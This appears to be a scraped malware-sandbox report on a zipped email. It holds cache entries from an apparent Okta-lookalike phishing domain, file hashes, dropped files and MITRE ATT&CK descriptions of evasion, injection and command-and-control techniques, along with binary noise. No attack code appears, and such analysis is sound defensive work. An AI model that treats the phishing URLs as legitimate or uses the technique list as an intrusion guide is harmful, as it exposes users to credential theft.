.2.0.1.6ALPH......0....n.mu..G..t042.....@...`[...%...6....9AD.'@.,f.B...+..+..+..W&.p.....h.......f.-...+.....m...n....E....O].+R.&Q..#.X.ip4..p......\O...\/....9.5.a..DfZ,K....8.....Z..2..z......t.......\|.I.(..6E.D.}.C..OQD$S}iZ...[D.......q`(...@../.NQ......+"b%.X.D".G.*...0G...".2........x.O......7......E..&....e.F..4...K>.M..Pd.B...@'o./te..[.f....4[..a..x...9#.@$.=...t..=..t_.W....[..f.\|fv...N...c6..k4}.9.7.....f.F3.4[...a...;.m.@N.n.0.....n.G[c.H.}..t.{..;....G...2.::..].0....

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (26765), with no line terminators
Category:	downloaded
Size (bytes):	26765
Entropy (8bit):	5.114987586674101
Encrypted:	false
SSDEEP:
MD5:	1A862A89D5633FAC83D763886726740D
SHA1:	E5CE3AA454C992A13FD406A9647D7AFBF831051F
SHA-256:	5C22FD904EDB792331A7307DDF4A790E0D1318924F6D8E7362FA6B55D5AB6FBB
SHA-512:	3BFAB627DC0EBFAE1176098C870B4D2747518E7EA91646303276191A4A846D47B2E80BB1EE2FA67271130ECCBC8B1152778C99917FC6C63EA45A184BD673BF0D
Malicious:	false
Reputation:	unknown
URL:	https://3gyu.zelivarne.ru/12eV1jUxbkzqcfNjBxyw8Z8919
Preview:	#authcalldesc,#sections,.text-m{font-size:.9375rem},input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_doc .pdfheader #pageName,#sections_pdf .pdfheader #pageName,.row.tile,.row.tile:not(.no-pick):active,.row.tile:not(.no-pick):hover,input{color:inherit}.p,.subtitle,.text-body,.text-subtitle,h4{font-weight:400},.text-title{font-family:"Segoe UI","Helvetica Neue","Lucida Grande",Roboto,Ebrima,"Nirmala UI",Gadugi,"Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI",Tunga,"Lao UI",Raavi,"Iskoola Pota",Latha,Leelawadee,"Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math"}*{margin:0}.websitesections{height:100%;width:100vw;position:relative}#sections_doc,#sections_go

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (51734)
Category:	downloaded
Size (bytes):	222931
Entropy (8bit):	5.0213311632628725
Encrypted:	false
SSDEEP:
MD5:	0329C939FCA7C78756B94FBCD95E322B
SHA1:	7B5499B46660A0348CC2B22CAE927DCC3FDA8B20
SHA-256:	0E47F4D2AF98BFE77921113C8AAF0C53614F88FF14FF819BE6612538611ED3D1
SHA-512:	1E819E0F9674321EEE28B3E73954168DD5AEF2965D50EE56CAD21A83348894AB57870C1C398684D9F8EAB4BBBEF5239F4AEA1DCAB522C61F91BD81CF358DA396
Malicious:	false
Reputation:	unknown
URL:	https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css
Preview:	@charset "UTF-8";.qtip{box-shadow:none;direction:ltr;display:none;font-size:10.5px;left:-28000px;line-height:12px;max-width:280px;min-width:50px;padding:0;position:absolute;top:-28000px}.qtip-content{word-wrap:break-word;padding:5px 9px;text-align:left}.qtip-content,.qtip-titlebar{overflow:hidden;position:relative}.qtip-titlebar{border-width:0 0 1px;font-weight:700;padding:5px 35px 5px 10px}.qtip-titlebar+.qtip-content{border-top-width:0!important}.qtip-close{border:1px solid transparent;cursor:pointer;outline:medium none;position:absolute;right:-9px;top:-9px;z-index:11}.qtip-titlebar .qtip-close{margin-top:-9px;right:4px;top:50%}* html .qtip-titlebar .qtip-close{top:16px}.qtip-icon .ui-icon,.qtip-titlebar .ui-icon{direction:ltr;display:block;text-indent:-1000em}.qtip-icon,.qtip-icon .ui-icon{-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;text-decoration:none}.qtip-icon .ui-icon{background:transparent none no-repeat -100em -100em;color:inherit;height:14px;line-heigh

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 36696, version 1.0
Category:	downloaded
Size (bytes):	36696
Entropy (8bit):	7.988666025644622
Encrypted:	false
SSDEEP:
MD5:	A69E9AB8AFDD7486EC0749C551051FF2
SHA1:	C34E6AA327B536FB48D1FE03577A47C7EE2231B8
SHA-256:	FD78A1913DB912221B8EAD1E62FAD47D1FF0A9FA6CD88D3B128A721AD91D2FAF
SHA-512:	9A0E4297282542B8813F9CC85B2CCB09663CE281F64503F9A5284631881DA9AACF7649553BF1423D941F01B97E6BC3BA50AB13E55E4B7B61C5AA0A4ADF4D390F
Malicious:	false
Reputation:	unknown
URL:	https://3gyu.zelivarne.ru/GDSherpa-regular.woff
Preview:	wOFF.......X......6........0...(............DSIG...(............GPOS..........^>....GSUB.............3y.OS/2.......F...`h`{Zcmap...........<.?+.cvt .......0...<(...fpgm............?...gasp................glyf.."0..Tl...h...+head..v....4...6..}.hhea..v....!...$...Zhmtx..v........x;...loca..z\|...........tmaxp..~$... ... .-..name..~D.......'....post............1+.,prep.............P..x..\.\|U..Nr.^.......DD.T....V...C....U._.N..k.8.m...h.Q.6q....#....Y4l.}3.@ .............Z_....s.....>RD.....J....wR./...#.,<'f....4b..}(....P..\.s.9'.....-.Q..d..H.@%..K+....4U.4...yx.3..DkfJ..3S.H......\|..........%.B...........W.~..nN<x.?....}jn...W..M.7...?...:-uAjQ.4J.].vm....H{&...y..@....G...~.......x=.V..g.;..@..J.l...G..L... gM..h.....Q!}B...Q.m.M...R.5.JUi..U_5@]..PW...5H.VW.k..:5D].nP#..5V=....x.....W/...E5I...NVS.T.u...^U3._...m5G-P...U...Gj.V..j.Z...j..BJ.._Pw..0..f...q...q5...'.F=MIj.7..^.f."..K\..pHMC.t.W.Z.Bz...l.+.....e\|......B>....1.a,.D.Ej..(.

Static File Info

General

File type:	Zip archive data, at least v4.5 to extract, compression method=deflate
Entropy (8bit):	7.985765627811879
TrID:	ZIP compressed archive (8000/1) 100.00%
File name:	VM Orger Acknowledged.zip
File size:	16'289 bytes
MD5:	dc987db883b84c3c3f6e526f8f8264f8
SHA1:	a27496693a4d53458af5f5cce25fe08635f40a6d
SHA256:	6aa97f938db7cf7c7b53cde7224f6aab5f1a2632b1ce5d6d9a59fe1c248316bf
SHA512:	17d72e244a06a855dbc5968ef2d17dd60344e73c2f551086f2b620d7dd1ab12a752489e25bf4dad7992bc2518e1b3d55ed2a37050218d174a0371c9d637653e2
SSDEEP:	384:HpUuQ4sxiG1LcGNzvEaa9Mxb40v6RwP4AVlVOIjzP5WH0VxT:HBW5LcUzv5gqb4d0BVlpzBWOd
TLSH:	AA72E0C5A729EF59D7C41CF49B48CAE6C5A52616ABCA00E8307DDECB8273C42654928F
File Content Preview:	PK..-......[nZU...........M...2ebc77ba-9c62-4256-fbee-08dd62e5107a/9d9f6e3b-7552-5d8c-68b2-f3b1c58b29b6.eml............e>........@M*6..Ls(..7.5.}.......}..rwk.........X.\..uG.{.....F...f#Y..d.&a....}..=`.N.H...........M... ........e.%3.LIJ..<...j.<V..#.J.

File Icon


Icon Hash:	1c1c1e4e4ececedc

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report VM Orger Acknowledged.zip

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

Dropped Files

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Created / dropped Files

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20250314T0730390050-6472.etl

C:\Users\user\AppData\Local\Temp\~DF92201670DF59FCB8.TMP

C:\Users\user\AppData\Local\Temp\~DFDAD477EAF5286A94.TMP

C:\Users\user\AppData\Local\Temp\~DFE1706C63B1D4F912.TMP

C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst

C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Chrome Cache Entry: 90

Chrome Cache Entry: 91

Chrome Cache Entry: 92

Chrome Cache Entry: 93

Chrome Cache Entry: 94

Chrome Cache Entry: 95

Windows Analysis Report
VM Orger Acknowledged.zip